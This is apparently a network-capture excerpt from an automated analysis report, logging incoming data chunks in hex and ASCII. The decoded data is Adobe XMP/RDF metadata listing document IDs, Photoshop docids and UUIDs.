2022-07-20 17:09:00 UTC	4886	IN	Data Raw: 33 37 34 37 34 42 31 39 34 44 30 43 45 37 30 45 38 44 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 30 34 46 45 41 43 31 44 45 30 32 45 38 37 33 35 33 41 39 34 31 34 44 35 41 35 34 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 44 46 30 36 45 38 30 31 46 38 32 34 32 42 43 45 38 45 35 44 31 45 46 45 43 37 39 37 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 30 31 39 36 42 37 34 34 37 37 39 37 46 43 32 42 30 35 46 37 42 42 30 42 31 34 41 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 32 43 45 41 42 32 31 43 30 37 33 37 37 36 38 37 30 31 45 42 38 30 34 45 42 41 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 46 38 37 37 34 38 36 38 43 45 38 33 33 37 36 Data Ascii: 37474B194D0CE70E8D65</rdf:li> <rdf:li>8AD04FEAC1DE02E87353A9414D5A542E</rdf:li> <rdf:li>8ADF06E801F8242BCE8E5D1EFEC797D7</rdf:li> <rdf:li>8AF0196B7447797FC2B05F7BB0B14A08</rdf:li> <rdf:li>8AF2CEAB21C0737768701EB804EBAD14</rdf:li> <rdf:li>8AF8774868CE83376
2022-07-20 17:09:00 UTC	4894	IN	Data Raw: 43 32 38 45 37 33 34 30 44 35 38 33 46 39 44 43 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 34 36 43 37 35 30 41 39 42 30 46 32 36 30 39 35 46 46 34 45 38 42 44 35 38 46 42 38 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 35 46 36 33 31 43 35 31 46 38 31 41 35 36 38 35 43 33 44 41 44 39 43 41 45 42 39 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 37 46 31 46 42 36 38 45 45 45 44 39 39 44 44 43 37 44 32 39 43 33 37 45 31 45 32 36 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 39 34 41 30 41 32 36 39 31 31 34 37 33 37 34 43 38 43 31 36 43 46 33 39 31 38 32 45 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 41 33 32 39 34 35 32 36 33 42 41 37 43 43 33 38 31 Data Ascii: C28E7340D583F9DC3A</rdf:li> <rdf:li>9246C750A9B0F26095FF4E8BD58FB86A</rdf:li> <rdf:li>925F631C51F81A5685C3DAD9CAEB9138</rdf:li> <rdf:li>927F1FB68EEED99DDC7D29C37E1E269A</rdf:li> <rdf:li>9294A0A2691147374C8C16CF39182E7F</rdf:li> <rdf:li>92A32945263BA7CC381
2022-07-20 17:09:00 UTC	4910	IN	Data Raw: 30 43 36 46 31 36 44 34 39 39 41 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 33 34 45 32 37 42 31 32 43 33 45 34 42 30 41 34 35 37 44 41 35 34 42 32 46 31 42 45 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 42 30 32 41 37 39 46 34 31 36 33 38 43 37 44 46 44 35 37 42 34 42 42 35 39 38 32 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 36 45 32 41 38 36 35 34 37 37 44 37 37 35 38 30 37 33 32 43 36 34 43 35 43 46 32 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 37 38 36 45 41 33 32 32 35 42 35 30 35 39 38 34 30 44 44 35 30 33 33 30 38 45 34 35 45 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 30 38 32 42 44 39 41 30 36 32 30 39 32 30 36 33 46 34 31 34 31 33 38 Data Ascii: 0C6F16D499ACA</rdf:li> <rdf:li>A034E27B12C3E4B0A457DA54B2F1BE8E</rdf:li> <rdf:li>A06B02A79F41638C7DFD57B4BB598263</rdf:li> <rdf:li>A06E2A865477D77580732C64C5CF29A6</rdf:li> <rdf:li>A0786EA3225B5059840DD503308E45E1</rdf:li> <rdf:li>A082BD9A062092063F414138
2022-07-20 17:09:00 UTC	4926	IN	Data Raw: 36 43 34 44 46 35 37 43 30 44 39 34 38 31 39 35 37 45 36 39 37 36 45 39 42 30 30 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 36 46 34 35 36 39 30 36 46 42 32 41 39 36 35 41 45 35 45 31 41 45 34 34 38 31 31 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 42 34 33 32 36 33 32 35 34 35 43 42 44 45 36 31 37 45 31 38 41 37 37 30 37 30 39 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 45 35 32 44 30 46 33 33 43 42 38 35 45 35 45 43 35 35 36 39 39 41 30 37 39 31 37 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 41 46 32 42 36 46 35 38 32 42 38 43 36 39 35 33 38 41 43 37 37 34 32 46 38 31 32 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 44 33 41 45 30 41 Data Ascii: 6C4DF57C0D9481957E6976E9B008B</rdf:li> <rdf:li>ADA6F456906FB2A965AE5E1AE448116E</rdf:li> <rdf:li>ADAB432632545CBDE617E18A7707097D</rdf:li> <rdf:li>ADAE52D0F33CB85E5EC55699A07917F7</rdf:li> <rdf:li>ADAF2B6F582B8C69538AC7742F812D88</rdf:li> <rdf:li>ADD3AE0A
2022-07-20 17:09:00 UTC	4934	IN	Data Raw: 39 37 31 39 36 38 32 35 37 37 32 35 39 46 30 37 46 32 44 43 31 30 37 45 42 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 42 37 46 43 34 35 35 37 34 46 31 35 43 34 38 36 33 31 42 45 42 33 34 46 38 46 32 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 44 30 44 37 37 33 33 37 38 31 45 37 44 41 33 35 36 46 44 43 34 44 33 43 31 39 31 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 33 46 44 36 34 34 34 37 36 43 37 46 35 41 44 38 32 38 42 41 34 35 30 36 41 33 39 39 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 33 39 43 42 39 30 38 30 44 33 37 33 46 39 33 38 34 34 45 46 46 45 31 41 42 39 31 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 34 35 31 32 38 35 34 39 Data Ascii: 9719682577259F07F2DC107EB88</rdf:li> <rdf:li>B43B7FC45574F15C48631BEB34F8F21F</rdf:li> <rdf:li>B43D0D7733781E7DA356FDC4D3C1910F</rdf:li> <rdf:li>B43FD644476C7F5AD828BA4506A399D9</rdf:li> <rdf:li>B4439CB9080D373F93844EFFE1AB911B</rdf:li> <rdf:li>B445128549
2022-07-20 17:09:00 UTC	4934	IN	Data Raw: 42 33 41 35 34 45 43 46 36 38 39 35 45 35 33 43 41 32 45 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 42 46 37 37 30 35 39 30 45 35 39 38 39 46 35 33 31 31 41 41 42 41 35 45 39 46 35 35 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 30 31 37 38 42 37 39 30 44 35 39 37 31 42 35 31 44 45 37 43 37 45 37 42 42 32 35 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 37 37 30 36 37 35 34 43 31 46 44 41 44 46 32 45 42 38 39 36 38 31 46 32 37 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 38 45 41 44 32 31 34 43 32 30 46 41 36 39 36 37 43 37 34 45 43 38 37 36 32 37 38 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 34 43 43 32 37 35 35 33 42 45 32 30 45 46 44 Data Ascii: B3A54ECF6895E53CA2EC6</rdf:li> <rdf:li>B4BF770590E5989F5311AABA5E9F5589</rdf:li> <rdf:li>B4C0178B790D5971B51DE7C7E7BB25FF</rdf:li> <rdf:li>B4C7706754C1FDADF2EB89681F27EE2C</rdf:li> <rdf:li>B4C8EAD214C20FA6967C74EC87627866</rdf:li> <rdf:li>B4CC27553BE20EFD
2022-07-20 17:09:00 UTC	4950	IN	Data Raw: 66 3a 6c 69 3e 43 32 41 34 36 30 45 46 32 30 31 43 33 31 44 38 33 42 32 37 36 30 35 46 41 42 44 38 38 38 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 41 42 41 35 37 35 31 46 42 42 46 41 35 39 31 31 34 39 35 33 46 36 35 36 41 35 46 41 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 42 41 37 46 39 36 38 33 36 44 35 43 38 46 35 39 36 38 44 36 33 46 45 37 39 43 43 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 43 34 43 35 33 38 32 37 37 43 44 32 34 32 32 44 39 38 38 31 37 43 44 36 39 46 33 33 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 32 44 30 32 43 39 43 38 45 46 39 37 38 30 41 39 44 33 32 39 42 43 43 44 31 41 31 43 35 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: f:li>C2A460EF201C31D83B27605FABD888BB</rdf:li> <rdf:li>C2ABA5751FBBFA59114953F656A5FA4B</rdf:li> <rdf:li>C2BA7F96836D5C8F5968D63FE79CC75B</rdf:li> <rdf:li>C2C4C538277CD2422D98817CD69F3371</rdf:li> <rdf:li>C2D02C9C8EF9780A9D329BCCD1A1C586</rdf:li> <rdf:li>
2022-07-20 17:09:00 UTC	4966	IN	Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3
2022-07-20 17:09:00 UTC	4973	IN	Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 35 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D
2022-07-20 17:09:00 UTC	4989	IN	Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r
2022-07-20 17:09:00 UTC	5005	IN	Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 31 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F
2022-07-20 17:09:00 UTC	5013	IN	Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
2022-07-20 17:09:00 UTC	5029	IN	Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe
2022-07-20 17:09:00 UTC	5045	IN	Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>adobe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda
2022-07-20 17:09:00 UTC	5053	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd868152904</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 17:09:00 UTC	5069	IN	Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photoshop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l
2022-07-20 17:09:00 UTC	5085	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> <rdf:li>adobe:docid:photoshop:b9286e49-be
2022-07-20 17:09:00 UTC	5093	IN	Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad
2022-07-20 17:09:00 UTC	5109	IN	Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7FDEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19
